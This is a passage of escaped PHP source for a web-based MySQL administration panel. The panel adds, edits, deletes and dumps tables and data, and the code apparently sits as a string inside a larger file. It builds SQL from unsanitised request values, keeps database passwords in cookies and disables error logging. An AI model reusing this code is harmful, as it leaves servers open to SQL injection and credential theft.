\"checked\";echo '>TINYBLOB (0 ~ 255)</td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"BLOB\" '; if( \$type == \"blob\" ) echo \"checked\";echo '>BLOB (0 ~ 65535)</td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"MEDIUMBLOB\" '; if( \$type == \"mediumblob\" ) echo \"checked\";echo '>MEDIUMBLOB (0 ~ 16777215)</td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"LONGBLOB\" '; if( \$type == \"longblob\" ) echo \"checked\";echo '>LONGBLOB (0 ~ 4294967295)</td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n<td> </td>\n</tr> \n<tr>\n<td><input type=radio name=type value=\"ENUM\" '; if( \$type == \"enum\" ) echo \"checked\";echo '>ENUM</td>\n<td colspan=5><center>value list</center></td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"SET\" '; if( \$type == \"set\" ) echo \"checked\";echo '>SET</td>\n<td colspan=5><center>value list</center></td>\n</tr>\n\n</table>\n<table>\n<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \\'apple\\', \\'orange\\', \\'banana\\') </th></tr>\n<tr>\n<td align=center><input type=text size=4 name=M '; if( \$M != \"\" ) echo \"value=\$M\";echo '></td>\n<td align=center><input type=text size=4 name=D '; if( \$D != \"\" ) echo \"value=\$D\";echo '></td>\n<td align=center><input type=checkbox name=unsigned value=\"UNSIGNED\" '; if( strpos( \$fieldtype, \"unsigned\" ) ) echo \"checked\";echo '></td>\n<td align=center><input type=checkbox name=zerofill value=\"ZEROFILL\" '; if( strpos( \$fieldtype, \"zerofill\" ) ) echo \"checked\";echo '></td>\n<td align=center><input type=checkbox name=binary value=\"BINARY\" '; if( strpos( \$fieldtype, \"binary\" ) ) echo \"checked\";echo '></td>\n<td align=center><input type=text size=60 name=valuelist '; if( \$valuelist != \"\" ) echo \"value=\\\"\$valuelist\\\"\";echo '></td>\n</tr>\n</table>\n\n\n<h3>Flags</h3>\n<table>\n<tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>\n<tr>\n<td align=center><input type=checkbox name=not_null value=\"NOT NULL\" '; if( \$fieldnull != \"YES\" ) echo \"checked\";echo '></td>\n<td align=center><input type=text name=default_value '; if( \$fielddefault != \"\" ) echo \"value=\$fielddefault\";echo '></td>\n<td align=center><input type=checkbox name=auto_increment value=\"AUTO_INCREMENT\" '; if( \$fieldextra == \"auto_increment\" ) echo \"checked\";echo '></td>\n<td align=center><input type=checkbox name=primary_key value=\"PRIMARY KEY\" '; if( \$fieldkey == \"PRI\" ) echo \"checked\";echo '></td>\n</tr>\n</table>\n\n<p>';\n\n\tif( \$cmd == \"add\" )\n\t\techo \"<input type=submit value='Add Field'>\\n\";\n\telse if( \$cmd == \"edit\" )\n\t\techo \"<input type=submit value='Edit Field'>\\n\";\n\techo \"<input type=button value=Cancel onClick='history.back()'>\\n\";\n\techo \"</form>\\n\";\n}\n\nfunction manageField_submit( \$cmd ) {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$old_name, \$name, \$type, \$PHP_SELF, \$queryStr, \$errMsg,\n\t\t\$M, \$D, \$unsigned, \$zerofill, \$binary, \$not_null, \$default_value, \$auto_increment, \$primary_key, \$valuelist;\n\n\tif( \$cmd == \"add\" )\n\t\t\$queryStr = \"ALTER TABLE \$tablename ADD \$name \";\n\telse if( \$cmd == \"edit\" )\n\t\t\$queryStr = \"ALTER TABLE \$tablename CHANGE \$old_name \$name \";\n\t\n\tif( \$M != \"\" )\n\t\tif( \$D != \"\" )\n\t\t\t\$queryStr .= \"\$type(\$M,\$D) \";\n\t\telse\n\t\t\t\$queryStr .= \"\$type(\$M) \";\n\telse if( \$valuelist != \"\" ) {\n\t\t\$valuelist = stripslashes( \$valuelist );\n\t\t\$queryStr .= \"\$type(\$valuelist) \";\n\t} else\n\t\t\$queryStr .= \"\$type \";\n\n\t\$queryStr .= \"\$unsigned \$zerofill \$binary \";\n\n\tif( \$default_value != \"\" )\n\t\t\$queryStr .= \"DEFAULT '\$default_value' \";\n\t\n\t\$queryStr .= \"\$not_null \$auto_increment\";\n\n\tmysql_select_db( \$dbname, \$mysqlHandle );\n\tmysql_query( \$queryStr, \$mysqlHandle );\n\t\$errMsg = mysql_error();\n\n\t// key change\n\t\$keyChange = false;\n\t\$result = mysql_query( \"SHOW KEYS FROM \$tablename\" );\n\t\$primary = \"\";\n\twhile( \$row = mysql_fetch_array(\$result) )\n\t\tif( \$row[\"Key_name\"] == \"PRIMARY\" ) {\n\t\t\tif( \$row[Column_name] == \$name )\n\t\t\t\t\$keyChange = true;\n\t\t\telse\n\t\t\t\t\$primary .= \", \$row[Column_name]\";\n\t\t}\n\tif( \$primary_key == \"PRIMARY KEY\" ) {\n\t\t\$primary .= \", \$name\";\n\t\t\$keyChange = !\$keyChange;\n\t}\n\t\$primary = substr( \$primary, 2 );\n\tif( \$keyChange == true ) {\n\t\t\$q = \"ALTER TABLE \$tablename DROP PRIMARY KEY\";\n\t\tmysql_query( \$q );\n\t\t\$queryStr .= \"<br>\\n\" . \$q;\n\t\t\$errMsg .= \"<br>\\n\" . mysql_error();\n\t\t\$q = \"ALTER TABLE \$tablename ADD PRIMARY KEY( \$primary )\";\n\t\tmysql_query( \$q );\n\t\t\$queryStr .= \"<br>\\n\" . \$q;\n\t\t\$errMsg .= \"<br>\\n\" . mysql_error();\n\t}\n\n\tviewSchema();\n}\n\nfunction dropField() {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$fieldname, \$PHP_SELF, \$queryStr, \$errMsg;\n\n\t\$queryStr = \"ALTER TABLE \$tablename DROP COLUMN \$fieldname\";\n\tmysql_select_db( \$dbname, \$mysqlHandle );\n\tmysql_query( \$queryStr , \$mysqlHandle );\n\t\$errMsg = mysql_error();\n\n\tviewSchema();\n}\n\nfunction viewData( \$queryStr ) {\n\tglobal \$action, \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$errMsg, \$page, \$rowperpage, \$orderby;\n\n\techo \"<h1>Data in Table</h1>\\n\";\n\tif( \$tablename != \"\" )\n\t\techo \"<p class=location>\$dbname > \$tablename</p>\\n\";\n\telse\n\t\techo \"<p class=location>\$dbname</p>\\n\";\n\n\t\$queryStr = stripslashes( \$queryStr );\n\tif( \$queryStr == \"\" ) {\n\t\t\$queryStr = \"SELECT * FROM \$tablename\";\n\t\tif( \$orderby != \"\" )\n\t\t\t\$queryStr .= \" ORDER BY \$orderby\";\n\t\techo \"<a href='\$PHP_SELF?action=addData&dbname=\$dbname&tablename=\$tablename'>Add Data</a> | \\n\";\n\t\techo \"<a href='\$PHP_SELF?action=viewSchema&dbname=\$dbname&tablename=\$tablename'>Schema</a>\\n\";\n\t}\n\n\t\$pResult = mysql_db_query( \$dbname, \$queryStr );\n\t\$fieldt = mysql_fetch_field(\$pResult);\n\t\$tablename = \$fieldt->table;\n\t\$errMsg = mysql_error();\n\n\t\$GLOBALS[queryStr] = \$queryStr;\n\n\tif( \$pResult == false ) {\n\t\techoQueryResult();\n\t\treturn;\n\t}\n\tif( \$pResult == 1 ) {\n\t\t\$errMsg = \"Success\";\n\t\techoQueryResult();\n\t\treturn;\n\t}\n\n\techo \"<hr>\\n\";\n\n\t\$row = mysql_num_rows( \$pResult );\n\t\$col = mysql_num_fields( \$pResult );\n\n\tif( \$row == 0 ) {\n\t\techo \"No Data Exist!\";\n\t\treturn;\n\t}\n\t\n\tif( \$rowperpage == \"\" ) \$rowperpage = 30;\n\tif( \$page == \"\" ) \$page = 0;\n\telse \$page--;\n\tmysql_data_seek( \$pResult, \$page * \$rowperpage );\n\n\techo \"<table cellspacing=1 cellpadding=2>\\n\";\n\techo \"<tr>\\n\";\n\tfor( \$i = 0; \$i < \$col; \$i++ ) {\n\t\t\$field = mysql_fetch_field( \$pResult, \$i );\n\t\techo \"<th>\";\n\t\tif(\$action == \"viewData\")\n\t\t\techo \"<a href='\$PHP_SELF?action=viewData&dbname=\$dbname&tablename=\$tablename&orderby=\".\$field->name.\"'>\".\$field->name.\"</a>\\n\";\n\t\telse\n\t\t\techo \"<font\tstyle='text-decoration:none;color:#000000;font-size:x-small;'>\".\$field->name.\"</font>\\n\";\n\t\techo \"</th>\\n\";\n\t}\n\techo \"<th colspan=2>Action</th>\\n\";\n\techo \"</tr>\\n\";\n\n\tfor( \$i = 0; \$i < \$rowperpage; \$i++ ) {\n\t\t\$rowArray = mysql_fetch_row( \$pResult );\n\t\tif( \$rowArray == false ) break;\n\t\techo \"<tr>\\n\";\n\t\t\$key = \"\";\n\t\tfor( \$j = 0; \$j < \$col; \$j++ ) {\n\t\t\t\$data = \$rowArray[\$j];\n\n\t\t\t\$field = mysql_fetch_field( \$pResult, \$j );\n\t\t\tif( \$field->primary_key == 1 )\n\t\t\t\t\$key .= \"&\" . \$field->name . \"=\" . \$data;\n\n\t\t\tif( strlen( \$data ) > 30 )\n\t\t\t\t\$data = substr( \$data, 0, 30 ) . \"...\";\n\t\t\t\$data = htmlspecialchars( \$data );\n\t\t\techo \"<td>\\n\";\n\t\t\techo \"\$data\\n\";\n\t\t\techo \"</td>\\n\";\n\t\t}\n\t\t \n\t\tif( \$key == \"\" )\n\t\t\techo \"<td colspan=2>no Key</td>\\n\";\n\t\telse {\n\t\t\techo \"<td><a href='\$PHP_SELF?action=editData\$key&dbname=\$dbname&tablename=\$tablename'>Edit</a></td>\\n\";\n\t\t\techo \"<td><a href='\$PHP_SELF?action=deleteData\$key&dbname=\$dbname&tablename=\$tablename' onClick=\\\"return confirm('Delete Row?')\\\">Delete</a></td>\\n\";\n\t\t}\n\t\techo \"</tr>\\n\";\n\t}\n\techo \"</table>\\n\";\n\n\techo \"<font size=2>\\n\";\n\tif(\$action == \"viewData\")\n\t\techo \"<form action='\$PHP_SELF?action=viewData&dbname=\$dbname&tablename=\$tablename' method=post>\\n\";\n\telse\n\t\techo \"<form action='\$PHP_SELF?action=query&dbname=\$dbname&tablename=\$tablename&queryStr=\$queryStr' method=post>\\n\";\n\techo \"<font color=green>\\n\";\n\techo (\$page+1).\"/\".(int)(\$row/\$rowperpage+1).\" page\";\n\techo \"</font>\\n\";\n\techo \" | \";\n\tif( \$page > 0 ) {\n\t\tif(\$action == \"viewData\")\n\t\t\techo \"<a href='\$PHP_SELF?action=viewData&dbname=\$dbname&tablename=\$tablename&page=\".(\$page);\n\t\telse\n\t\t\techo \"<a href='\$PHP_SELF?action=query&dbname=\$dbname&tablename=\$tablename&queryStr=\$queryStr&page=\".(\$page);\n\t\tif( \$orderby != \"\" && \$action == \"viewData\")\n\t\t\techo \"&orderby=\$orderby\";\n\t\techo \"'>Prev</a>\\n\";\n\t} else\n\t\techo \"Prev\";\n\techo \" | \";\n\tif( \$page < (\$row/\$rowperpage)-1 ) {\n\t\tif(\$action == \"viewData\")\n\t\t\techo \"<a href='\$PHP_SELF?action=viewData&dbname=\$dbname&tablename=\$tablename&page=\".(\$page+2);\n\t\telse\n\t\t\techo \"<a href='\$PHP_SELF?action=query&dbname=\$dbname&tablename=\$tablename&queryStr=\$queryStr&page=\".(\$page+2);\n\t\tif( \$orderby != \"\" && \$action == \"viewData\")\n\t\t\techo \"&orderby=\$orderby\";\n\t\techo \"'>Next</a>\\n\";\n\t} else\n\t\techo \"Next\";\n\techo \" | \";\n\tif( \$row > \$rowperpage ) {\n\t\techo \"<input type=text size=4 name=page>\\n\";\n\t\techo \"<input type=submit value='Go'>\\n\";\n\t}\n\techo \"</form>\\n\";\n\techo \"</font>\\n\";\n}\n\nfunction manageData( \$cmd ) {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF;\n\n\tif( \$cmd == \"add\" )\n\t\techo \"<h1>Add Data</h1>\\n\";\n\telse if( \$cmd == \"edit\" ) {\n\t\techo \"<h1>Edit Data</h1>\\n\";\n\t\t\$pResult = mysql_list_fields( \$dbname, \$tablename );\n\t\t\$num = mysql_num_fields( \$pResult );\n\t\n\t\t\$key = \"\";\n\t\tfor( \$i = 0; \$i < \$num; \$i++ ) {\n\t\t\t\$field = mysql_fetch_field( \$pResult, \$i );\n\t\t\tif( \$field->primary_key == 1 )\n\t\t\t\tif( \$field->numeric == 1 )\n\t\t\t\t\t\$key .= \$field->name . \"=\" . \$GLOBALS[\$field->name] . \" AND \";\n\t\t\t\telse\n\t\t\t\t\t\$key .= \$field->name . \"='\" . \$GLOBALS[\$field->name] . \"' AND \";\n\t\t}\n\t\t\$key = substr( \$key, 0, strlen(\$key)-4 );\n\n\t\tmysql_select_db( \$dbname, \$mysqlHandle );\n\t\t\$pResult = mysql_query( \$queryStr = \"SELECT * FROM \$tablename WHERE \$key\", \$mysqlHandle );\n\t\t\$data = mysql_fetch_array( \$pResult );\n\t}\n\n\techo \"<p class=location>\$dbname > \$tablename</p>\\n\";\n\n\techo \"<form action='\$PHP_SELF' method=post>\\n\";\n\tif( \$cmd == \"add\" )\n\t\techo \"<input type=hidden name=action value=addData_submit>\\n\";\n\telse if( \$cmd == \"edit\" )\n\t\techo \"<input type=hidden name=action value=editData_submit>\\n\";\n\techo \"<input type=hidden name=dbname value=\$dbname>\\n\";\n\techo \"<input type=hidden name=tablename value=\$tablename>\\n\";\n\techo \"<table cellspacing=1 cellpadding=2>\\n\";\n\techo \"<tr>\\n\";\n\techo \"<th>Name</th>\\n\";\n\techo \"<th>Type</th>\\n\";\n\techo \"<th>Function</th>\\n\";\n\techo \"<th>Data</th>\\n\";\n\techo \"</tr>\\n\";\n\n\t\$pResult = mysql_db_query( \$dbname, \"SHOW fields FROM \$tablename\" );\n\t\$num = mysql_num_rows( \$pResult );\n\n\t\$pResultLen = mysql_list_fields( \$dbname, \$tablename );\n\n\tfor( \$i = 0; \$i < \$num; \$i++ ) {\n\t\t\$field = mysql_fetch_array( \$pResult );\n\t\t\$fieldname = \$field[\"Field\"];\n\t\t\$fieldtype = \$field[\"Type\"];\n\t\t\$len = mysql_field_len( \$pResultLen, \$i );\n\n\t\techo \"<tr>\";\n\t\techo \"<td>\$fieldname</td>\";\n\t\techo \"<td>\".\$field[\"Type\"].\"</td>\";\n\t\techo \"<td>\\n\";\n\t\techo \"<select name=\${fieldname}_function>\\n\";\n\t\techo \"<option>\\n\";\n\t\techo \"<option>ASCII\\n\";\n\t\techo \"<option>CHAR\\n\";\n\t\techo \"<option>SOUNDEX\\n\";\n\t\techo \"<option>CURDATE\\n\";\n\t\techo \"<option>CURTIME\\n\";\n\t\techo \"<option>FROM_DAYS\\n\";\n\t\techo \"<option>FROM_UNIXTIME\\n\";\n\t\techo \"<option>NOW\\n\";\n\t\techo \"<option>PASSWORD\\n\";\n\t\techo \"<option>PERIOD_ADD\\n\";\n\t\techo \"<option>PERIOD_DIFF\\n\";\n\t\techo \"<option>TO_DAYS\\n\";\n\t\techo \"<option>USER\\n\";\n\t\techo \"<option>WEEKDAY\\n\";\n\t\techo \"<option>RAND\\n\";\n\t\techo \"</select>\\n\";\n\t\techo \"</td>\\n\";\n\t\t\$value = htmlspecialchars(\$data[\$i]);\n\t\tif( \$cmd == \"add\" ) {\n\t\t\t\$type = strtok( \$fieldtype, \" (,)\\n\" );\n\t\t\tif( \$type == \"enum\" || \$type == \"set\" ) {\n\t\t\t\techo \"<td>\\n\";\n\t\t\t\tif( \$type == \"enum\" )\n\t\t\t\t\techo \"<select name=\$fieldname>\\n\";\n\t\t\t\telse if( \$type == \"set\" )\n\t\t\t\t\techo \"<select name=\$fieldname size=4 multiple>\\n\";\n\t\t\t\twhile( \$str = strtok( \"'\" ) ) {\n\t\t\t\t\techo \"<option>\$str\\n\";\n\t\t\t\t\tstrtok( \"'\" );\n\t\t\t\t}\n\t\t\t\techo \"</select>\\n\";\n\t\t\t\techo \"</td>\\n\";\n\t\t\t} else {\n\t\t\t\tif( \$len < 40 )\n\t\t\t\t\techo \"<td><input type=text size=40 maxlength=\$len name=\$fieldname></td>\\n\";\n\t\t\t\telse\n\t\t\t\t\techo \"<td><textarea cols=40 rows=3 maxlength=\$len name=\$fieldname></textarea>\\n\";\n\t\t\t}\n\t\t} else if( \$cmd == \"edit\" ) {\n\t\t\t\$type = strtok( \$fieldtype, \" (,)\\n\" );\n\t\t\tif( \$type == \"enum\" || \$type == \"set\" ) {\n\t\t\t\techo \"<td>\\n\";\n\t\t\t\tif( \$type == \"enum\" )\n\t\t\t\t\techo \"<select name=\$fieldname>\\n\";\n\t\t\t\telse if( \$type == \"set\" )\n\t\t\t\t\techo \"<select name=\$fieldname size=4 multiple>\\n\";\n\t\t\t\twhile( \$str = strtok( \"'\" ) ) {\n\t\t\t\t\tif( \$value == \$str )\n\t\t\t\t\t\techo \"<option selected>\$str\\n\";\n\t\t\t\t\telse\n\t\t\t\t\t\techo \"<option>\$str\\n\";\n\t\t\t\t\tstrtok( \"'\" );\n\t\t\t\t}\n\t\t\t\techo \"</select>\\n\";\n\t\t\t\techo \"</td>\\n\";\n\t\t\t} else {\n\t\t\t\tif( \$len < 40 )\n\t\t\t\t\techo \"<td><input type=text size=40 maxlength=\$len name=\$fieldname value=\\\"\$value\\\"></td>\\n\";\n\t\t\t\telse\n\t\t\t\t\techo \"<td><textarea cols=40 rows=3 maxlength=\$len name=\$fieldname>\$value</textarea>\\n\";\n\t\t\t}\n\t\t}\n\t\techo \"</tr>\";\n\t}\n\techo \"</table><p>\\n\";\n\tif( \$cmd == \"add\" )\n\t\techo \"<input type=submit value='Add Data'>\\n\";\n\telse if( \$cmd == \"edit\" )\n\t\techo \"<input type=submit value='Edit Data'>\\n\";\n\techo \"<input type=button value='Cancel' onClick='history.back()'>\\n\";\n\techo \"</form>\\n\";\n}\n\nfunction manageData_submit( \$cmd ) {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$fieldname, \$PHP_SELF, \$queryStr, \$errMsg;\n\n\t\$pResult = mysql_list_fields( \$dbname, \$tablename );\n\t\$num = mysql_num_fields( \$pResult );\n\n\tmysql_select_db( \$dbname, \$mysqlHandle );\n\tif( \$cmd == \"add\" )\n\t\t\$queryStr = \"INSERT INTO \$tablename VALUES (\";\n\telse if( \$cmd == \"edit\" )\n\t\t\$queryStr = \"REPLACE INTO \$tablename VALUES (\";\n\tfor( \$i = 0; \$i < \$num-1; \$i++ ) {\n\t\t\$field = mysql_fetch_field( \$pResult );\n\t\t\$func = \$GLOBALS[\$field->name.\"_function\"];\n\t\tif( \$func != \"\" )\n\t\t\t\$queryStr .= \" \$func(\";\n\t\tif( \$field->numeric == 1 ) {\n\t\t\t\$queryStr .= \$GLOBALS[\$field->name];\n\t\t\tif( \$func != \"\" )\n\t\t\t\t\$queryStr .= \"),\";\n\t\t\telse\n\t\t\t\t\$queryStr .= \",\";\n\t\t} else {\n\t\t\t\$queryStr .= \"'\" . \$GLOBALS[\$field->name];\n\t\t\tif( \$func != \"\" )\n\t\t\t\t\$queryStr .= \"'),\";\n\t\t\telse\n\t\t\t\t\$queryStr .= \"',\";\n\t\t}\n\t}\n\t\$field = mysql_fetch_field( \$pResult );\n\tif( \$field->numeric == 1 )\n\t\t\$queryStr .= \$GLOBALS[\$field->name] . \")\";\n\telse \n\t\t\$queryStr .= \"'\" . \$GLOBALS[\$field->name] . \"')\";\n\n\tmysql_query( \$queryStr , \$mysqlHandle );\n\t\$errMsg = mysql_error();\n\n\tviewData( \"\" );\n}\n\nfunction deleteData() {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$fieldname, \$PHP_SELF, \$queryStr, \$errMsg;\n\n\t\$pResult = mysql_list_fields( \$dbname, \$tablename );\n\t\$num = mysql_num_fields( \$pResult );\n\n\t\$key = \"\";\n\tfor( \$i = 0; \$i < \$num; \$i++ ) {\n\t\t\$field = mysql_fetch_field( \$pResult, \$i );\n\t\tif( \$field->primary_key == 1 )\n\t\t\tif( \$field->numeric == 1 )\n\t\t\t\t\$key .= \$field->name . \"=\" . \$GLOBALS[\$field->name] . \" AND \";\n\t\t\telse\n\t\t\t\t\$key .= \$field->name . \"='\" . \$GLOBALS[\$field->name] . \"' AND \";\n\t}\n\t\$key = substr( \$key, 0, strlen(\$key)-4 );\n\n\tmysql_select_db( \$dbname, \$mysqlHandle );\n\t\$queryStr = \"DELETE FROM \$tablename WHERE \$key\";\n\tmysql_query( \$queryStr, \$mysqlHandle );\n\t\$errMsg = mysql_error();\n\n\tviewData( \"\" );\n}\n\nfunction fetch_table_dump_sql(\$table)\n{\n\tglobal \$mysqlHandle,\$dbname;\n\t\n\tmysql_select_db( \$dbname, \$mysqlHandle );\n\t\$query_id = mysql_query(\"SHOW CREATE TABLE \$table\",\$mysqlHandle);\n\t\$tabledump = mysql_fetch_array(\$query_id, MYSQL_ASSOC);\n\t\$tabledump = \"DROP TABLE IF EXISTS \$table;\\n\" . \$tabledump['Create Table'] . \";\\n\\n\";\n\n\techo \$tabledump;\n\n\t// get data\n\t\$rows = mysql_query(\"SELECT * FROM \$table\",\$mysqlHandle);\n\t\$numfields=mysql_num_fields(\$rows);\n\twhile (\$row = mysql_fetch_array(\$rows, MYSQL_NUM))\n\t{\n\t\t\$tabledump = \"INSERT INTO \$table VALUES(\";\n\n\t\t\$fieldcounter = -1;\n\t\t\$firstfield = 1;\n\t\t// get each field's data\n\t\twhile (++\$fieldcounter < \$numfields)\n\t\t{\n\t\t\tif (!\$firstfield)\n\t\t\t{\n\t\t\t\t\$tabledump .= ', ';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\$firstfield = 0;\n\t\t\t}\n\n\t\t\tif (!isset(\$row[\"\$fieldcounter\"]))\n\t\t\t{\n\t\t\t\t\$tabledump .= 'NULL';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\$tabledump .= \"'\" . mysql_escape_string(\$row[\"\$fieldcounter\"]) . \"'\";\n\t\t\t}\n\t\t}\n\n\t\t\$tabledump .= \");\\n\";\n\n\t\techo \$tabledump;\n\n\t}\n\t@mysql_free_result(\$rows);\n}\n\nfunction dump() {\n\tglobal \$mysqlHandle, \$action, \$dbname, \$tablename;\n\n\tif( \$action == \"dumpTable\" ){\n\n\t\theader(\"Content-disposition: filename=\$tablename.sql\");\n\t\theader('Content-type: unknown/unknown');\n\t\tfetch_table_dump_sql(\$tablename);\n\t\techo \"\\n\\n\\n\";\n\t\techo \"\\r\\n\\r\\n\\r\\n### \$tablename TABLE DUMP COMPLETED ###\";\n\t\texit;\t\t\n\t\t\t\t\n\t}else{\n\t\theader(\"Content-disposition: filename=\$dbname.sql\");\n\t\theader('Content-type: unknown/unknown');\n\t\t\n\t\tmysql_select_db( \$dbname, \$mysqlHandle );\n\t\t\$query_id = mysql_query(\"SHOW tables\",\$mysqlHandle);\n\t\twhile (\$row = mysql_fetch_array(\$query_id, MYSQL_NUM))\n\t\t{\n\t\t\t\tfetch_table_dump_sql(\$row[0]);\n\t\t\t\techo \"\\n\\n\\n\";\n\t\t\t\techo \"\\r\\n\\r\\n\\r\\n### \$row[0] TABLE DUMP COMPLETED ###\";\n\t\t\t\techo \"\\n\\n\\n\";\n\t\t}\n\t\techo \"\\r\\n\\r\\n\\r\\n### \$dbname DATABASE DUMP COMPLETED ###\";\n\t\texit;\t\t\n\n\t}\n\n}\n\nfunction utils() {\n\tglobal \$PHP_SELF, \$command;\n\techo \"<h1>Utilities</h1>\\n\";\n\tif( \$command == \"\" || substr( \$command, 0, 5 ) == \"flush\" ) {\n\t\techo \"<hr>\\n\";\n\t\techo \"Show\\n\";\n\t\techo \"<ul>\\n\";\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=show_status'>Status</a>\\n\";\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=show_variables'>Variables</a>\\n\";\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\\n\";\n\t\techo \"</ul>\\n\";\n\t\techo \"Flush\\n\";\n\t\techo \"<ul>\\n\";\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\\n\";\n\t\tif( \$command == \"flush_hosts\" ) {\n\t\t\tif( mysql_query( \"Flush hosts\" ) != false )\n\t\t\t\techo \"<font size=2 color=red>- Success</font>\";\n\t\t\telse\n\t\t\t\techo \"<font size=2 color=red>- Fail</font>\";\n\t\t}\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\\n\";\n\t\tif( \$command == \"flush_logs\" ) {\n\t\t\tif( mysql_query( \"Flush logs\" ) != false )\n\t\t\t\techo \"<font size=2 color=red>- Success</font>\";\n\t\t\telse\n\t\t\t\techo \"<font size=2 color=red>- Fail</font>\";\n\t\t}\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\\n\";\n\t\tif( \$command == \"flush_privileges\" ) {\n\t\t\tif( mysql_query( \"Flush privileges\" ) != false )\n\t\t\t\techo \"<font size=2 color=red>- Success</font>\";\n\t\t\telse\n\t\t\t\techo \"<font size=2 color=red>- Fail</font>\";\n\t\t}\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\\n\";\n\t\tif( \$command == \"flush_tables\" ) {\n\t\t\tif( mysql_query( \"Flush tables\" ) != false )\n\t\t\t\techo \"<font size=2 color=red>- Success</font>\";\n\t\t\telse\n\t\t\t\techo \"<font size=2 color=red>- Fail</font>\";\n\t\t}\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=flush_status'>Status</a>\\n\";\n\t\tif( \$command == \"flush_status\" ) {\n\t\t\tif( mysql_query( \"Flush status\" ) != false )\n\t\t\t\techo \"<font size=2 color=red>- Success</font>\";\n\t\t\telse\n\t\t\t\techo \"<font size=2 color=red>- Fail</font>\";\n\t\t}\n\t\techo \"</ul>\\n\";\n\t} else {\n\t\t\$queryStr = ereg_replace( \"_\", \" \", \$command );\n\t\t\$pResult = mysql_query( \$queryStr );\n\t\tif( \$pResult == false ) {\n\t\t\techo \"Fail\";\n\t\t\treturn;\n\t\t}\n\t\t\$col = mysql_num_fields( \$pResult );\n\n\t\techo \"<p class=location>\$queryStr</p>\\n\";\n\t\techo \"<hr>\\n\";\n\n\t\techo \"<table cellspacing=1 cellpadding=2 border=0>\\n\";\n\t\techo \"<tr>\\n\";\n\t\tfor( \$i = 0; \$i < \$col; \$i++ ) {\n\t\t\t\$field = mysql_fetch_field( \$pResult, \$i );\n\t\t\techo \"<th>\".\$field->name.\"</th>\\n\";\n\t\t}\n\t\techo \"</tr>\\n\";\n\n\t\twhile( 1 ) {\n\t\t\t\$rowArray = mysql_fetch_row( \$pResult );\n\t\t\tif( \$rowArray == false ) break;\n\t\t\techo \"<tr>\\n\";\n\t\t\tfor( \$j = 0; \$j < \$col; \$j++ )\n\t\t\t\techo \"<td>\".htmlspecialchars( \$rowArray[\$j] ).\"</td>\\n\";\n\t\t\techo \"</tr>\\n\";\n\t\t}\n\t\techo \"</table>\\n\";\n\t}\n}\n\nfunction header_html() {\n\tglobal \$PHP_SELF;\n\t\necho '\n<html>\n<head>\n<title>MySQL Interface</title>\n<style type=\"text/css\">\n<!--\np.location {\n\tcolor: #11bb33;\n\tfont-size: small;\n}\nh1 {\n\tcolor: #A4A260;\n}\nth {\n\tbackground-color: #BDBE42;\n\tcolor: #FFFFFF;\n\tfont-size: x-small;\n}\ntd {\n\tbackground-color: #DEDFA5;\n\tfont-size: x-small;\n}\nform {\n\tmargin-top: 0;\n\tmargin-bottom: 0;\n}\na {\n\ttext-decoration:none;\n\tcolor: #848200;\n\tfont-size:x-small;\n}\na:link {\n}\na:hover {\n\tbackground-color:#EEEFD5;\n\tcolor:#646200;\n\ttext-decoration:none \n}\n//-->\n</style>\n</head>\n<body>\n';\n}\n\nfunction footer_html() {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$USERNAME;\n\n\techo \"<hr>\\n\";\n\techo \"<font size=2 color=blue>[\$USERNAME]</font> - \\n\";\n\n\techo \"<a href='\$PHP_SELF?action=listDBs'>Database List</a> | \\n\";\n\tif( \$tablename != \"\" )\n\t\techo \"<a href='\$PHP_SELF?action=listTables&dbname=\$dbname&tablename=\$tablename'>Table List</a> | \";\n\techo \"<a href='\$PHP_SELF?action=utils'>Utils</a> |\\n\";\n\techo \"<a href='\$PHP_SELF?action=logout'>Logout</a>\\n\";\n\techo \"</font>\\n\";\n\techo \"</body>\\n\";\n\techo \"</html>\\n\";\n}\n\n\n\n\n//------------- MAIN ------------- //\nerror_reporting(0);\nini_set ('display_errors', 0);\nini_set ('log_errors', 0);\n\nif( \$action == \"logon\" || \$action == \"\" || \$action == \"logout\" )\n\tlogon();\nelse if( \$action == \"logon_submit\" )\n\tlogon_submit();\nelse if( \$action == \"dumpTable\" || \$action == \"dumpDB\" ) {\n\twhile( list(\$var, \$value) = each(\$HTTP_COOKIE_VARS) ) {\n\t\tif( \$var == \"mysql_web_admin_username\" ) \$USERNAME = \$value;\n\t\tif( \$var == \"mysql_web_admin_password\" ) \$PASSWORD = \$value;\n\t\tif( \$var == \"mysql_web_admin_hostname\" ) \$HOSTNAME = \$value;\n\t}\n\t\$mysqlHandle = mysql_pconnect( \$HOSTNAME, \$USERNAME, \$PASSWORD );\n\tdump();\n} else {\n\twhile( list(\$var, \$value) = each(\$HTTP_COOKIE_VARS) ) {\n\t\tif( \$var == \"mysql_web_admin_username\" ) \$USERNAME = \$value;\n\t\tif( \$var == \"mysql_web_admin_password\" 